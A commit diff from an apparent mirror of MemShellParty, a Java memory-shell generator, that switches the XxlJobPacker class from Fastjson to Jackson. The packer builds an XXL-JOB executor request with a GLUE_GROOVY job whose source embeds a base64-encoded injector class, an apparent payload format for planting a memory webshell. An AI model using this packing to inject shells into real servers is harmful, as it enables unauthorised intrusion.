mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: use Jackson not Fastjson for smaller jar size
This commit is contained in:
@@ -50,7 +50,7 @@ dependencies {
|
||||
implementation 'org.apache.commons:commons-lang3'
|
||||
implementation 'com.squareup.okhttp3:okhttp'
|
||||
implementation 'ch.qos.logback:logback-classic'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
||||
|
||||
implementation 'org.springframework:spring-webmvc'
|
||||
implementation 'org.springframework:spring-webflux'
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
@@ -25,23 +28,26 @@ public class XxlJobPacker implements Packer {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("jobId", 1);
|
||||
jsonObject.put("executorHandler", "demoJobHandler");
|
||||
jsonObject.put("executorParams", "demoJobHandler");
|
||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||
jsonObject.put("executorTimeout", 0);
|
||||
jsonObject.put("logId", 1);
|
||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||
jsonObject.put("glueSource", source);
|
||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||
jsonObject.put("broadcastIndex", 0);
|
||||
jsonObject.put("broadcastTotal", 0);
|
||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("jobId", 1);
|
||||
map.put("executorHandler", "demoJobHandler");
|
||||
map.put("executorParams", "demoJobHandler");
|
||||
map.put("executorBlockStrategy", "COVER_EARLY");
|
||||
map.put("executorTimeout", 0);
|
||||
map.put("logId", 1);
|
||||
map.put("logDateTime", System.currentTimeMillis());
|
||||
map.put("glueType", "GLUE_GROOVY");
|
||||
map.put("glueSource", source);
|
||||
map.put("glueUpdatetime", System.currentTimeMillis());
|
||||
map.put("broadcastIndex", 0);
|
||||
map.put("broadcastTotal", 0);
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
||||
return objectMapper.writeValueAsString(map);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user